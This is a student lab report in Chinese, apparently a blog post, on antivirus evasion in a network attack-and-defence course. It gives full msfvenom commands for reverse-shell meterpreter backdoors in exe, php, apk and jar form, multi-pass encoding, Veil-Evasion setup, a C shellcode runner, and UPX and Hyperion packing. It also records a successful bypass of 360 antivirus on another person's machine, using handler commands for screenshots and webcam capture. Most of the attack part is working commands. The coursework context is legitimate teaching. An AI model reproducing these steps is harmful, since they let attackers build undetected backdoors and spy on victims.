20181328 《网络对抗技术》Exp3 免杀原理与实践

一、实验内容:

  • 1.正确使用msf编码器,msfvenom生成如jar之类的其他文件
    • msfvenom生成php文件
    • msfvenom生成apk文件
    • msfvenom生成jar文件
    • veil
    • 使用C + shellcode编程
    • 加壳工具(压缩壳、加密壳)
  • 2.通过组合应用各种技术实现恶意代码免杀
    • 免杀实践1
    • 免杀实践2
    • 免杀实践3(强一些)
  • 3.用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本
    • 对免杀实践1做出的exe进行测试
    • 对免杀实践3做出的exe进行测试

##

二、实验要求:

  • 1.报告格式范围,版面整洁 加0.5
  • 2.报告排版混乱,加0分。
  • 3.报告逻辑混乱表述不清或文字有明显抄袭可能 -1

##

三、实验步骤:

###

一、正确使用msf编码器

###

1.使用msfvenom -l encoders查看可以使用的编码器来生成不同的后门

 msfvenom -l encoders 

###

2.对实验二生成的20181328_backdoor.exe后门程序用VirusTotal进行扫描,结果如下图所示:

一次编码:

msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b '\x00' LHOST=192.168.19.136 LPORT=1328 -f exe > csq-encoded.exe 

十次编码:

msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b '\x00' LHOST=192.168.19.136 LPORT=1328 -f exe > csq-encoded10.exe

###

3.msfvenom生成php文件

msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.19.136 lport=1328 x> zwq_backdoor.php

###

 4.msfvenom生成apk文件

msfvenom -p android/meterpreter/reverse_tcp lhost=192.168.19.136 lport=1328 x> zwq_backdoor.apk

 

###

5.msfvenom生成jar文件

msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.19.136 LPORT=1328 x> zwq_backdoor_java.jar

 

###

6.Veil安装

安装veil,使用命令安装Veil

sudo apt-get install veil-evasion

使用命令cd /usr/share/veil/config/进入该文件夹

使用命令vim setup.sh编辑文件,第260行把github仓库改成码云的仓库,https://gitee.com/spears/VeilDependencies.git

一定要改!!!!不改成功不了!!!!

输完之后就是等就ok。

安装过程中遇见的问题:

第一次输入安装veil的指令后,显示找不到安装包!

解决办法:更换安装源输入:

vi /etc/apt/sources.list 

把文件中的源更换成图中的(去网上找,基本网上的都ok)然后输入 

apt-get update && apt-get upgrade && apt-get dist-upgrade 

 然后就OK了,问题不大。

###

7.使用veil-evasion生成后门程序及检测

用 use evasion 命令进入Evil-Evasion,输入命令 use c/meterpreter/rev_tcp.py 进入配置界面

 设置反弹连接IP,命令为: set LHOST 192.168.19.136 ,注意此处的IP是虚拟机Kali的IP

设置端口,命令为: set LPORT 1328 

输入generate生成文件,接着输入你想要playload的名字:veil_c_1328

 不行被扫出来了。

###

8.注入Shellcode并执行(嵌入式Shellcode)

首先使用命令: msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.19.136 LPORT=1328 -f c 
用c语言生成一段shellcode;

创建一个文件20181328.c,然后将unsigned char buf[]赋值到其中,代码如下:
unsigned char buf[] =
"\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30"
"\xc3\xbb\xf0\xb5\xa2\x56\x6a\x00\x53\xff\xd5";
int main()
{
int (func)() = (int()())buf;
func();
}
使用命令: i686-w64-mingw32-g++ 20175205.c -o 20175205.exe 编译这个.c文件为可执行文件

打开windows运行后发现,会被检测出

###

9.加壳

加壳的全称应该是可执行程序资源压缩,压缩后的程序可以直接运行。
加壳的另一种常用的方式是在二进制的程序中植入一段代码,在运行的时候优先取得程序的控制权,之后再把控制权交还给原始代码,这样做的目的是为了隐藏程序真正的OEP(入口点,防止被破解)。大多数病毒就是基于此原理。
加壳的程序需要阻止外部程序或软件对加壳程序本身的反汇编分析或者动态分析,以达到保护壳内原始程序以及软件不被外部程序破坏,保证原始程序正常运行。
这种技术也常用来保护软件版权,防止软件被破解。但对于病毒,加壳可以绕过一些杀毒软件的扫描,从而实现它作为病毒的一些入侵或破坏的一些特性。
MSF的编码器使用类似方法,对shellcode进行再编码。

加压缩壳:使用命令 upx 20181328.exe -o zwq_upxed.exe 给之前的20181328.exe加个壳得到zwq_upxed.exe

我只加了一个普通压缩壳,然后就扫描不出来了。太牛了。

加加密壳:

将生成upx文件拷贝到/usr/share/windows-resources/hyperion/目录中
进入目录/usr/share/windows-resources/hyperion/中
输入sudo wine hyperion.exe -v 20181217_upx.exe 20181217_hyperion_upx.exe进行加壳

下面试试扫描:

然后就扫出来了!

###

二、通过组合应用各种技术实现恶意代码免杀

1.使用加密压缩壳实现

2.任务成功截图:

###

三、用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本

1.杀软名称360杀毒软件

2.技术:加一层压缩壳。连接成功。

攻击机代码:

首先将kali转换为“桥接模式”,重新生成免杀软件。
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 6 -b '\x00' lhost=(自己的ip) lport=1234 -f raw -o 1234.raw
 
将文件传输给其他同学的主机。
对方运行:shellcode_launcher.exe -i 1234.raw
开始监听:
msfconsole
use exploit/multi/handler         //监听设置payload set payloadset payload windows/meterpreter/reverse_tcp    //使用与生成后门程序一样的payloadset LHOST 自己的ip      //kali端的IP地址set LPORT 1234    //与之前输入的端口号一致
exploit
dir
screenshot
webcam_snap

 

##

四、基础问题回答

问:杀软是如何检测出恶意代码的?

  1. 基于特征码的检测:简单来说一段特征码就是一段或多段数据,经过对许多恶意代码的分析,我们发现了该类恶意代码经常出现的一段或多段代码,而且是其他正常程序没有的,即特征码。如果杀软检测到一个可执行文件包含特征码就认为其是恶意代码。
  2. 启发式恶意软件检测:就是根据些片面特征去推断。通常是因为缺乏精确判定依据。
  3. 基于行为的恶意软件检测:可以理解为加入了行为监控的启发式。通过对恶意代码的观察研究,发现有一些行为是恶意代码共同的比较特殊的行为,杀软会监视程序的运行,如果发现了这些特殊行为,就会认为其是恶意软件。

问:免杀是做什么?

  1. 使用一些技术手段对恶意软件做处理,让它不被杀毒软件所检测。同时,免杀也是渗透测试中需要使用到的技术。

问:免杀的基本方法有哪些?

  1. 改变特征码(只有EXE——加壳(压缩壳 加密壳)、有shellcode(像Meterpreter)——利用encode进行编码、有源代码——用其他语言进行重写再编译)
  2. 改变行为(通讯方式:尽量使用反弹式连接、使用隧道技、加密通讯数据;操作模式:基于内存操作、减少对系统的修改、加入混淆作用的正常功能代码)

##

五、实践总结与体会

实验总结:这算是一段时间以来最难写的一个实验了,在安装veil的时候,由于kai的源没有选对,甚至连veil的软件包都找不到,个人根据知乎的方法把kali的源更换之后解决。在安装的时候发现又装不上,具体看报告中的解决办法。最后感想就是360防火墙是真的非常垃圾,啥都扫不出来,可以卸载了。

 

 
原文地址:https://www.cnblogs.com/1005zwq/p/14615960.html